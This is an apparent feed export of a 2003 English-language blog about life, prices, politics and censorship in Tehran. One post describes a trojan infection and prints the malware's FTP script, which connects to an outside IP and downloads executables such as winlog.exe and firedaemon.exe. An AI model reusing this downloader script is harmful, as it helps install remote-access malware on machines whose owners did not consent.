tag:blogger.com,1999:blog-37811672011-08-16T20:08:03.706-07:00kavehobservations of Tehran lifeahuramazdanoreply@blogger.comBlogger2581100tag:blogger.com,1999:blog-3781167.post-1067186987955510602003-10-26T08:49:00.000-08:002009-07-08T06:34:44.337-07:00This is the last entry in this weblog. Anything more, and I'll add a link to the bar on the left.Today I visited Bank Melli in Niavaran and closed my account. The largest denomination bank note in Iran is 10,000 rials, which is $US1.20. I changed my mind after closing it and decided I wanted a 500,000 toman check, the highest denomination they have there (dunno about other banks). It took ahuramazdanoreply@blogger.com1tag:blogger.com,1999:blog-3781167.post-1067081954626839272003-10-25T04:39:00.000-07:002009-07-08T06:34:44.342-07:005,693,584 rials.
I am looking at my last paycheck in Iran, for the month of Mehr. That's $US680. This is what a mathematics post-doc gets here. The question is, why did I stay so long? This is left as an exercise for the reader!
I hate to be harsh, but if you pay peanuts, you get monkeys. The reasons for the brain drain are obvious.ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1066810875578487522003-10-22T01:21:00.000-07:002009-07-08T06:34:44.346-07:00
Last night I decided to go to Casa Mia in Gandhi shopping center for dinner. The menu was in English. I became curious and asked why it wasn't in Persian, and the waiter said because everyone who comes here is a foreigner!!
On the way back home I decided I simply had to get a photo of the guy who dances all the time outside Cactus Pizza on Bahonar Street near Tajrish. He has lips almost as ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1066809568876680232003-10-22T00:59:00.000-07:002009-07-08T06:34:44.351-07:00Mahathir denigrates Muslims, praises Jews!ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1066809455494349042003-10-22T00:57:00.000-07:002009-07-08T06:34:44.354-07:00In March 2002 I visited Hosseiniyeh Jamaran (Khomeini's old house in Tehran, now a shrine) and the guardian gave my friend a book about "Palestine in the view of the Imam". I see that this bovine excrement is online in English now. Flicking through it, it did teach me a new word, the only word that was completely new to me in the last 18 months, I think: tergiversating.
...these tergiversatingahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1066670352151702152003-10-20T10:19:00.000-07:002009-07-08T06:34:44.357-07:00Concorde to be grounded. Did you know Concorde used to fly from Paris to Kish Island in Iran? A Paris - Kish memorial card is for sale on ebay for a little while.
I read something pretty funny searching for that. Kish beaches are segregated by sex.
But Saeed, a ladies man who has lived in Paris for a while, seems a bit uncomfortable.
Borzou: What do you think of the beach?
Saeed: It looksahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1066666962925486552003-10-20T09:22:00.000-07:002009-07-08T06:34:44.360-07:00These signs have been in Tehran for a while, but I failed to notice them until recently.
Father, you arrived home safely!
Of course I did, and it had nothing to with the fact I wore a helmet. Everything is in the hands of Allah, and if something bad did happen you could always blame it on western conspiracy.
Getting back to the earthquake article... this quote is interesting:
Most people ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1066649770761902572003-10-20T04:36:00.000-07:002009-07-08T06:34:44.364-07:00
I was in for a big surprise when traveling through Iran, for some reason I expected little habitation, but found it to be quite modern with numerous fuel stations and very cheap fuel. This was a big change as Turkey had massive fuel shortages that would remain for a number of years to come.[ I did get to have a look in Tehran, the capital of Iran, then still controlled by the Shah. I really ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1066545627688114382003-10-18T23:40:00.000-07:002009-07-08T06:34:44.368-07:00True Story!
Once upon a time in Tehran, there was a consul of a small European country called M. M used to throw big parties, and drive down Jordan giving out invitation cards to any pretty girls, and he didn't know most of the people at his parties. At one of his parties one night, he noticed some people out on his verandah smoking grass. He went out and said hello, and one of the guys ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1066471726150945892003-10-18T03:08:00.000-07:002009-07-08T06:34:44.373-07:00Nojavan recently revealed he isn't human at all - he's from Jupiter. I have a surprise confession too, I'm not human either, I'm a pig. But from hanging around humans so much, I have learned to walk on two legs like those in "Animal Farm" and I really enjoy human food so much more than what I used to eat. Here's some pictures of what I've been porking out on lately.
Last night I went to ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1066294634873700462003-10-16T01:57:00.000-07:002009-07-08T06:34:44.377-07:00I just finished reading the report. It's worth 100 political English weblogs by people in Iran. It's so difficult to get a quality ranking on information on the Internet, but trust me, this is the best there is about the Iranian situation now. It captures everything I could possibly say. I kept saying something like "Right On!" all the time, it is all so true, unlike so much neo-con ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1066220276767672442003-10-15T05:17:00.000-07:002009-07-08T06:34:44.381-07:00Iran: Discontent and Disarray. The International Crisis Group's report is finally here!
Just a comment on the title... a veteran Afghanistan traveller spoke about Afghan culture...
"Western policy strives to find a unity of order in Afghanistan; however, the prevailing trend is a unity of chaos. Used to order westerners see chaos as failure. It is an alternate system alien to western thoughtahuramazdanoreply@blogger.com1tag:blogger.com,1999:blog-3781167.post-1066123751641805462003-10-14T02:29:00.000-07:002009-07-08T06:34:44.384-07:00Peace prize is not very important - Khatami. After six years, it's not possible to distinguish between him and the hardliners.ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1065857746066034262003-10-11T00:35:00.000-07:002009-07-08T06:34:44.389-07:00As all know Shirin Ebadi won the Nobel Peace Prize this year. Talking to people I found out her father Ahmad Ebadi was the teacher of Shajarian. You all know who that is, right?? If not, go search, while Iranian items enjoy a momentary upsurge in the news...
Reuters broke the story 15 minutes before the official announcement after the committee called her husband (8:45 local time). IRNA ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1065022367925594502003-10-01T08:32:00.000-07:002009-07-08T06:34:44.393-07:00Isfahan: it should be the capital! Often I wonder, is that shaking a couple bonking next door or is it the BIG ONE, and it's time to dive under my desk?
Because of all these earthquakes, there are important religious questions to consider! A story all Iranians know concerns Ayatollah Gilani and his television show. (paraphrased from an article there:)
There's a two-story house, a woman is ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1065017006127928302003-10-01T07:03:00.000-07:002009-07-08T06:34:44.398-07:00Nothing to say now. I know the next crisisweb report on Iran is coming out before October 31. If you read news articles, they say Iran won't make the October 31 IAEA deadline. Sanctions (tahrimha) are coming. Before then is a good time for me to leave Iran, then. I'm going on holidays for a week now...ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1064819026905460262003-09-29T00:03:00.000-07:002009-07-08T06:34:44.403-07:00yas-e-no closed. In Iran now "they" can close papers based on what the paper doesn't publish and where it is not published!ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1064818314375300342003-09-28T23:51:00.000-07:002009-07-08T06:34:44.409-07:00US Government Bill to stop Iranians and others ever coming to US. I couldn't believe it was true so I searched with google "site:gov gresham barett 3075", hmm it was true. It just sounds ridiculous, doesn't the USA want olympiad winners to study at Harvard or MIT anymore? The only prescription I have for people like Mr Barrett is to visit Iran for themselves... it makes as much sense to blockahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1064673386648968622003-09-27T07:36:00.000-07:002009-07-08T06:34:44.414-07:00My driver from Tabriz was happy that in Shahin Dezh he could buy tea from Rayat (in Iraq).ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1064672960155204322003-09-27T07:29:00.000-07:002009-07-08T06:34:44.423-07:00Over the last few days, I visited Tabriz, Qareh Kelisa, and Takht-e-Soleiman. Qareh Kelisa is an extraordinary church located near Maku, far away from anything else. Perhaps only isolated buildings can survive long periods of time, as there were many buildings to see in Tabriz but earthquakes have damaged or destroyed many of the famous ones there.
Takht-e-Soleiman was like Persepolis without ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1064307845242977162003-09-23T02:04:00.000-07:002009-07-08T06:34:44.428-07:00Ali Dizaei was a London poice superintendent born in Iran, cleared of all charges recently after an expensive investigation. Newspapers thrive on controversy so they've interviewed some of his ex-girlfriends. Like mojtaba I find I can't stop reading about it.
Ex-girlfriend Mandy is relieved her traditional Iranian beliefs helped her fight off the twice-wed Casanova cop's romancing. It ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1064080008201147282003-09-20T10:46:00.000-07:002009-07-08T06:34:44.434-07:00Wine-drinking women more fertile! If you want children drink up... combined with Iranian food... (picture of today's lunch with cabernet sauvignon soon).
Australian treasurer visits Palestine.
"We've heard their (Palestinian) views," replied Mr Costello. "Obviously as you try to move forward there has to be confidence building, so that both sides can trust each other . . . My view is that ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1064075225443741092003-09-20T09:27:00.000-07:002009-07-08T06:34:44.440-07:00Based on the names, where would you rather live... a city where all the street names are Shahid (Martyr) This or Shahid That, or a city where the places have romantic names like "Arefan va Asheghan" ("Gnostics and Lovers")? The long-term future of Kabul should be good. The very names are more uplifting than Tehran. At least my friends from Kandahar think so. I've heard that mobile phones in ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1063889801757844762003-09-18T05:56:00.000-07:002009-07-08T06:34:44.444-07:00Robert Spencer criticised The Economist's survey of Islam. (from iranvajahan.)ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1063734455165084762003-09-16T10:47:00.000-07:002009-07-08T06:34:44.449-07:00"Better is the wickedness of a man than a woman who does good;
it is woman who brings shame and disgrace." --
Jesus son of Sirach, 200 BC.
"Women are not loyal, they possess inferior morals. The most respectable amongst them is still disreputable and the disreputable ones are scandalous, except for the few who under the refuge of god have been saved from corruption." -- Ayatollah Meshkini, 2003ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1063731969484957752003-09-16T10:06:00.000-07:002009-07-08T06:34:44.452-07:00Deported Iranian admits he lied. It's a story about an Iranian who made up a story in order to get asylum. Many Iranians will do anything, say anything, and forge anything in order to get a visa. I think I've talked about this before. What was surprising about this story is for how long everybody believed it! Also, why did he leave if he had a spare $US5000? He must have had serious ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1063620565353530192003-09-15T03:09:00.000-07:002009-07-08T06:34:44.457-07:00Oh no, I didn't update! I didn't go to Khazar Shahr this time. Worse, I went alone to Shush, Choqa Zanbil, and Hamadan. Worse because I had the opportunity to visit Tabriz with a diplomat friend and his friends.
Wednesday lunch I went to Monsoon on Gandhi St and it was 12,800 tomans for 2 people. The place was full of foreigners, maybe only non-Iranians can afford it!!
On Saturday I was at ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1063110845077843232003-09-09T05:34:00.000-07:002009-07-08T06:34:44.462-07:00More shots fired at UK embassy in Iran. There can't be much doubt now this is official policy.ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1063098807297411712003-09-09T02:13:00.000-07:002009-07-08T06:34:44.470-07:00International Universities of Iran
I've heard of four so far. With time, more will open on Kish Island.
Kish University associated with Monash University. It costs $US6000 a year. (I think: "There's a black economy in Iran, but I'm not part of it. This university must be aimed at the Nissan Maxima/Sinad Coupe driving set.")
Voronezh University in Tehran. This is for North Tehranian flu$h ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1063095268502063172003-09-09T01:14:00.000-07:002009-07-08T06:34:44.474-07:00What's the name of the food court that will open at the top of Milad-e-Noor building in Shahrak-e-Gharb? There's a website with foodcourt.com in the name but I forgot what it was.ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1063025191713868212003-09-08T05:46:00.000-07:002009-07-08T06:34:44.478-07:00I've been having lots of dreams about North Korea the last few nights. It's like "The Call of Cthulhu"!! We will all wake up to a different world when they test the nuclear bomb.
There's a small statue of Hessabi in Tajrish Square... mullahs didn't like it. Martyred mullahs get much more recognition than Iran's most famous scientists. A linguistics professor told me once there's lots of ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1062833371940784642003-09-06T00:29:00.000-07:002009-07-08T06:34:44.482-07:00Khamenei lives in Niavaran, Zahir Shah lives in Wazir Akbar Khan. Therefore, Wazir Akbar Khan is the Niavaran of Kabul.ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1062666083265240942003-09-04T02:01:00.000-07:002009-07-08T06:34:44.486-07:00Comments on a Free Thoughts article explain dating in Iran.
Independent writes about likely culprits in the British Embassy shooting:
But it is more likely that the shootings reflect the struggle for power in Iran and were ordered by hardline religious conservatives eager to provoke the moderate President Mohammad Khatami into tougher action against Britain.
If you live in Chicago, from ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1062596933974080352003-09-03T06:48:00.000-07:002009-07-08T06:34:44.490-07:00Miss Universe looks friendly. Jennifer Garner has a great posture! It must have been the years of ballet.ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1062594391171525682003-09-03T06:06:00.000-07:002009-07-08T06:34:44.494-07:00The rial slipped to 8500 to the dollar. This means it's a policy of "them" though I didn't read about it.
The Bonyad-e-mostazafin (foundation of the oppressed/dispossessed) spends 800,000,000,000 tomans (about $US1 billion) per year on martyrs' cemeteries!ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1062581749645611522003-09-03T02:35:00.000-07:002009-07-08T06:34:44.498-07:00I always thought when you couldn't solve a problem you had to break it down into smaller parts. But Mehdi Behzad said to me, quoting Poincare?, "When you can't solve a problem, generalise it!". It worked for Perelman. And it is one of the suggestions of Polya in How to Solve It.ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1061974710375347442003-08-27T01:58:00.000-07:002009-07-08T06:34:44.502-07:00The Iranian rial today slipped to 8420 to the US dollar. Not that you (most of my readers) are affected by it... I can't explain it, whether it has something to do with oil/OPEC or central planning or maybe someone read payvand... if I listen I'll hear cries of "7 tomans to the dollar before revolution".ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1061811141906642942003-08-25T04:32:00.000-07:002009-07-08T06:34:44.505-07:00President Khatami demanded...
stop!
In the tradition of a recent free thoughts on Iran article... (apologizes is usually spelt with "z" on net)
number of google results for "iran apologizes": 2
number of google results for "iran apologized": 2
number of google results for "iran demands": 520
number of google results for "iran demanded": 227
You can compare this to any other country - check ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1061639615509877382003-08-23T04:53:00.000-07:002009-07-08T06:34:44.510-07:00On Friday I went to the main Assemblies of God church in Tehran, on the corner of Qods and "Father" Taleghani Street. There were about 600 people in the congregation! The preacher talked about the place in Genesis where God says to Adam: "where are you?" and applied it to ... everyone... He walked back and forth across the stage as he talked... like a pendulum...
A council of the EU report ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1061369572900312782003-08-20T01:52:00.000-07:002009-07-08T06:34:44.516-07:00Hamas, IJ kill 20 people. "Officials from Hamas and Islamic Jihad say the blast does not mean an end to the cease-fire announced by militant groups in late June." The concept of truth has no meaning to these kinds of people. They can't even agree on the meaning of words like "cease-fire"... it's easy to carry out this kind of attack, it only takes a few people. (Plus a very young population ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1061037342259556962003-08-16T05:35:00.000-07:002009-07-08T06:34:44.521-07:00Hobo Traveler, an American traveler, is in Mosul, Iraq, and has an interesting picture from Arbil:
Nojavan links to pictures of people mourning for the 3rd imam. ;-)
Washington Post writes about the Iranian government giving $3 million to Islamic Jihad. Transparency in the budget would help prevent this kind of atrocity...
One of my correspondents asks for the 1,000,000th time on thorntree ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1060861796316937742003-08-14T04:49:00.000-07:002009-07-08T06:34:44.526-07:00My win2k computer didn't get msblast (just my officemate's win xp computer), but it got hacked with a trojan I hadn't seen before, using the same method, probably.
In \winnt\system32 I found "firedaemon.exe" and "winlog.exe" and a file called "a" with this code:
open 213.93.xx.x 4101
user get get
get winlog.exe
get servudaemon.ini
get firedaemon.exe
get cygwin1.dll
get win.bat
bye
So, when ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1060712080482088562003-08-12T11:14:00.000-07:002009-07-08T06:34:44.561-07:00A lecturer from Sharif came to give his talk at the conference. The administrator turned on the computer, but as soon as he loaded his talk the message "shutdown in 30 seconds" occurred in Windows XP. This worm is really a pain for some people who didn't patch their Microsoft systems.
"I heard about my son on Al-Manar TV. Nobody can be happy when he loses his son. I feel that I lost a part ofahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1060434503952502552003-08-09T06:08:00.000-07:002009-07-08T06:34:44.600-07:00Last night I went to a party. I remember saying I was interested in the idea that the best movies are relatively unknown. At the party I heard a great song by Davut Guloglu, Katula Katula, it was the best dance song I have heard in years, it would make your grandmother dance... listen to it if you can. I hadn't heard of him before, of course he's not unknown in Turkey.ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1060346141226831322003-08-08T05:35:00.000-07:002009-07-08T06:34:44.605-07:00MSNBC has a "rare interview" with North Korea's highest-ranking defector Hwang Jang Yop. What does he say the US should do?
What should the United States and other countries do?
If the United States accepts 10,000, 20,000, up to 30,000 North Korean defectors, that will deal a fatal blow to Kim’s regime.
How are the North Koreans supposed to get to the US?? They have nowhere to run. I don't ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1060164284482678352003-08-06T03:04:00.000-07:002009-07-08T06:34:44.610-07:00Last night I saw The Mothman Prophecies in Farhang Cinema on Shariati St. I was in an awful seat, second from the front at the far right, next to the fan. I checked out Screen It to see what had been censored out - some remarks didn't make sense - Richard Gere's character suddenly said to his wife "we should get a mattress for that closet" and it was impossible to understand why he said it. ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1060091899139453992003-08-05T06:58:00.000-07:002009-07-08T06:34:44.615-07:00I'll try not to think about Jakarta. The ghouls at the BBC have already set up a your experiences page though. If your country name begins with I unless it's Iceland, Ireland, or Italy, you have some sort of terrorist problem (NB Northern Ireland begins with N).
Today I read about chess a bit. An interview with Jennifer Shahade from ChessBase. She said "chess is patriarchal - I sound like a ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1059993137882309492003-08-04T03:32:00.000-07:002009-07-08T06:34:44.620-07:00
Khatami Does Not Have Anything to Give to Iranians
By:
JOMHOURI-E ISLAMI*
In an interview with a Dutch daily, Seyed Hossein Khomeini called for the separation of religion from politics, the conservative daily reported. According to this newspaper, which has had an interview with Seyed Hossein Khomeini in Iraq, the grandson of the founder of Islamic Republic of Iran has said the people doahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1059914440878372392003-08-03T05:40:00.000-07:002009-07-08T06:34:44.624-07:00Car prices
I found a good link about Car Prices in Iran. As far as I have checked, they are all correct. The exchange rate is 830 tomans to 1 US dollar. When I see so many Maximas in the streets, I don't know how anybody affords it... I am 26, and earn approximately $US1000/month. Unfortunately I live like a wastrel, but if I lived like a dervish maybe I could save 90% of it. It would stillahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1059663700037489792003-07-31T08:01:00.000-07:002009-07-08T06:34:44.628-07:00I'm pretty busy still... I was asked to link to Parvandeh and ActivistChat. Looking through my referrer logs, I really should add mojtaba akhtari, Iranian Truth and maykadeh.
The streets are covered in black signs, because Saturday is the day of the martyrdom of Hazrat Fatima Zahra. Also it is the day of the martyrdom of Sheikh Fazlollah Nouri. He is a hero of the ayatollahs because he ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1059485503273465582003-07-29T06:31:00.000-07:002009-07-08T06:34:54.830-07:00Iranian Tourism Promotion
The north of Iran is very beautiful and you should visit. Very poor attempts at subliminal suggestion follow.
I have a friend called Miranda and she is very beautiful. Be sure to put on antiperspirant so that you impress her. You also should visit her very soon.
Shirabad waterfall, Golestan province
Khazar Shahr is like a "gated community" for the richest people ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1059392129203808882003-07-28T04:35:00.000-07:002009-07-08T06:34:54.835-07:00I returned from my trip to the north. I went with a diplomat and his friend, and they are studying Persian at the Dehkhoda Institute in Tehran. Most of this blog's visitors are from the US, so I thought if any of you are interested in visiting Iran, I should talk about ways to get a visa. I think this way is the best, because the students said there were several Americans in the class. This ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1059146804673566212003-07-25T08:26:00.000-07:002009-07-08T06:34:54.838-07:00I'm in Gonbad-e-Kavus now. My best suggestion for the Canadian government to get results is: block students from going to Canada! Everyone at Sharif wants to go there! This increases the pressure on the Iranian government by keeping the students in Iran... like slamming the lid on the pot of boiling water.ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1058873703205232362003-07-22T04:35:00.000-07:002009-07-08T06:34:54.842-07:00Is the US responsible for everything that goes wrong in Iran? Brilliant post from Usenet.ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1058868342839490572003-07-22T03:05:00.000-07:002009-07-08T06:34:54.846-07:00Donkey lover sues. Donkeys often carry things up the mountains at Darakeh, but the most overloaded donkeys I've seen are at Kolakchal. Donkeys are considered the stupidest animals by Iranians. I think the lawsuit is a positive step, because kindness to animals is not a virtue held in high regard in Iran. In Israel things are rather different. (The Islamic ideal is on the same site.)ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1058860374169715772003-07-22T00:52:00.000-07:002009-07-08T06:34:54.850-07:00I have always been fascinated by the idea that there is a masterpiece film that no-one has ever heard of... or that no-one has ever heard of or seen some of the best films ever made. To support this idea, there are really good films (well known in Iran, for example) that are not in the Internet Movie Database at all. One of them is showing only in Iran and Japan right now. It is a fantastic ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1058851199106591802003-07-21T22:19:00.000-07:002009-07-08T06:34:54.854-07:00Mortazavi to investigate Kazemi's death. It's much more and much less than a joke, it's a crime. She was interrogated by him, he apparently tried to cover up her death with the stroke story, and now he is the investigator? And what are the "reformists" going to do? As usual, nothing! As Ladysun might say, no-one seems to give a shit. "They" commit crimes, then investigate and exonerate "ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1058799099419703272003-07-21T07:51:00.000-07:002009-07-08T06:34:54.865-07:00Bandwidth Limit Exceeded
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(7:11pm Tehran time) Hmmmm, Yas-e-no is a reformist paper. One of two things has happened - the host is ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1058700156513668132003-07-20T04:22:00.000-07:002009-07-08T06:34:54.871-07:00Mortazavi is not fit to be a judge says MP Mohsen Armin; his boss Shahroudi (the Iraqi) is investigating Ms Kazemi's death!!! Unbelievable. You can see nothing is going to happen, with the judiciary investigating itself. Still, if the hardliners can somehow engineer another crisis, that will be good for them.ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1058607916483121352003-07-19T02:45:00.000-07:002009-07-08T06:34:54.875-07:00Canada travel warning.
However, she said Canadians are being cautioned to put their travel plans to Iran on hold because of the death in uncertain circumstances of photojournalist Zahra Kazemi.
Margaret Wente writes about ZK and the illusion of reform in Iran; Iranian Girl writes about Mr Mortazavi's shoe.ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1058599855526853972003-07-19T00:30:00.000-07:002009-07-08T06:34:54.880-07:00"I don't think it's very bad. If they filter porno sites I don't think it's going to kill anyone."
But it might, you know, if men can't masturbate to porno sites, they could get cancer!! (see below) I think I need to start a petition about this, a la the other mind-bogglingly stupid Petition about another CNN story.
It's been stinking stinking hot lately. It took an hour for me to get from ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1058455055361775142003-07-17T08:17:00.000-07:002009-07-08T06:34:54.885-07:00Mr Abu "Hot Potato" Ghaith who was issuing threats to the US a few days ago is in Iranian ``custody''...ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1058442606820367972003-07-17T04:50:00.000-07:002009-07-08T06:34:54.889-07:00Kharrazi says: "Journalist may have fallen." Just like all those students who tripped and fell out of second-floor windows on 18 Tir! Next thing you know, they'll be saying she killed herself by throwing herself down the stairs!!
With the authorities telling so many lies, life in Iran would become impossible without jokes, or satirists like Ebrahim Nabavi. An example translation of Nabavi's ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1058434879725052022003-07-17T02:41:00.000-07:002009-07-08T06:34:54.893-07:00I like it when I can say good things about Iran. In the International Mathematics Olympiad, Iran didn't do as well as in the past (3rd in 1997, 1st in 1998) but at least the Iranian news is the first place on the web any kind of result for this year is reported.ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1058425709910326382003-07-17T00:08:00.000-07:002009-07-08T06:34:54.896-07:00Masturbation may prevent cancer!ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1058351817316093442003-07-16T03:36:00.000-07:002009-07-08T06:34:54.901-07:00Government admits death from beating. Let's see where the buck stops.ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1058329426386688292003-07-15T21:23:00.000-07:002009-07-08T06:34:54.907-07:00You know why they call the university security "harasat"? It is because they harass people. I have discovered how they are selected for their jobs. They are working somewhere and their boss says "My goodness you are stupid. I have just the right job for you - you can stand at the gate of Sharif University and every day harass our society's best and brightest."
What is the definition of a ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1058268346000899392003-07-15T04:25:00.000-07:002009-07-08T06:34:54.916-07:00The Dialogue Project presents an account of a trip to Iran by two women three years ago... with some twists! Eventually they found themselves censoring themselves and limiting their actions :-( If you're interested in the subject of gender in IRI you should read it.ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1058249903330983042003-07-14T23:18:00.000-07:002009-07-08T06:34:54.922-07:00Iranian TV explained.ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1058192333606889082003-07-14T07:18:00.000-07:002009-07-08T06:34:54.925-07:00Put body of evidence in ground, sweep all under carpet; find new oil.ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1058176769695481952003-07-14T02:59:00.000-07:002009-07-08T06:34:54.928-07:00Mamad jan! Ebrahim Nabavi writes a very funny letter to Khatami. Someone MUST translate that to English.
First he says Khatami says he will resign if the people don't like him. He asks how are people supposed to tell Khatami to resign? Protests, hunger strike? The government said only 300 people attended the protests and then they arrested 4000 and released 500! There are three groups in ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1058167574206539992003-07-14T00:26:00.000-07:002009-07-08T06:34:54.933-07:00Cover-up underway in Canadian journalist's death.
"As I told them, 'Cut the bullshit — don't send condolences when your government killed my mother, tortured her, and still doesn't respond to my demands.'"
End of road for EU talks (the carrot approach never works because the IRI government is dogmatic, not logical). "There won't be any trade agreement."ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1058163930326037292003-07-13T23:25:00.000-07:002009-07-08T06:34:54.937-07:00BBC Monitoring quotes from four Tehran newspapers about 18 Tir. Only, three of them (Kehyan, Resalat, Jomhouri Islami) are psycho newspapers no-one I know reads. These are the only newspapers allowed to express their point of view on 18 Tir, so the spectrum of expression was really limited.ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1058029106717614372003-07-12T09:58:00.000-07:002009-07-08T06:34:54.942-07:00Today my officemate told me he visited the education ministry and there were long lines of people wanting a teaching job. Guess what the salary is? You teach 24 hours a week for about 60000 tomans a month ($US75)!! I found it really hard to believe, but I don't think he'd lie. So if you think you have it bad, someone here always has it worse. This blog is not representative at all of the ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1058028851686467932003-07-12T09:54:00.000-07:002009-07-08T06:34:54.946-07:00Canadian journalist dies, apparently of injuries inflicted by Iranian police. (I read it first at hoder.) Remember all the stories about how it's Arab mercenaries who are beating up Iranians, not Iranians themselves? Usually when terrible things happen they can be blamed on the "other" be it Ansar or Arabs (or before the revolution, Israelis). (The police sometimes join in, as on 18 Tir.) ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1057839623811120212003-07-10T05:20:00.000-07:002009-07-08T06:34:54.952-07:00Student leaders arrested.
"In the presence of foreign journalists, the students were grabbed, pistols put to their temples, their arms twisted behind their backs. Other attackers waved weapons in the air and ordered the journalists to stand back."
Remember, people call for a boycott of Myanmar's tourism, because they've rearrested Aung San Suu Kyi, the Nobel peace prize winner, but they have ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1057831892810143842003-07-10T03:11:00.000-07:002009-07-08T06:34:54.957-07:00I've been linking too much to English news.
How you can buy anything in Iran
Gun - It's not possible to buy it in Tehran, I don't think, but go to border areas with Afghanistan. It will cost at least 2,000,000 tomans ($US2500).
Motorcycle - It's illegal to have a bike over 250cc, and most people only have 125cc bikes. (Unless you have mullah friends or are from another country.) But I know ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1057759915211222042003-07-09T07:11:00.000-07:002009-07-08T06:34:54.961-07:00If in your resume you mention Iran you might be a potential terrorist! Also if your name is "Muhammad Ali" that's bad too (I found that a bit hard to believe.)
Businesses in Tehran warned of earthquake risk. It talks about all the terrible disasters that could occur, and then says: "Mr. Danesh called on the local authorities in the area to further examine the twenty crisis mitigation proposals ahuramazdanoreply@blogger.com0tag:blogger.com,1999:blog-3781167.post-1057749118293812922003-07-09T04:11:00.000-07:002009-07-08T06:34:54.967-07:00
What is going to happen to this country? I don't think it's possible to remove 2500 years of estebdad (arbitary rule) in just a few years. I feel ambivalent. That's why this song is so meaningful to me. Almost every line applies to Iran. Nothing really changed. Who are the mullahs grooming to replace Khatami? Larijani? Mohajerani?
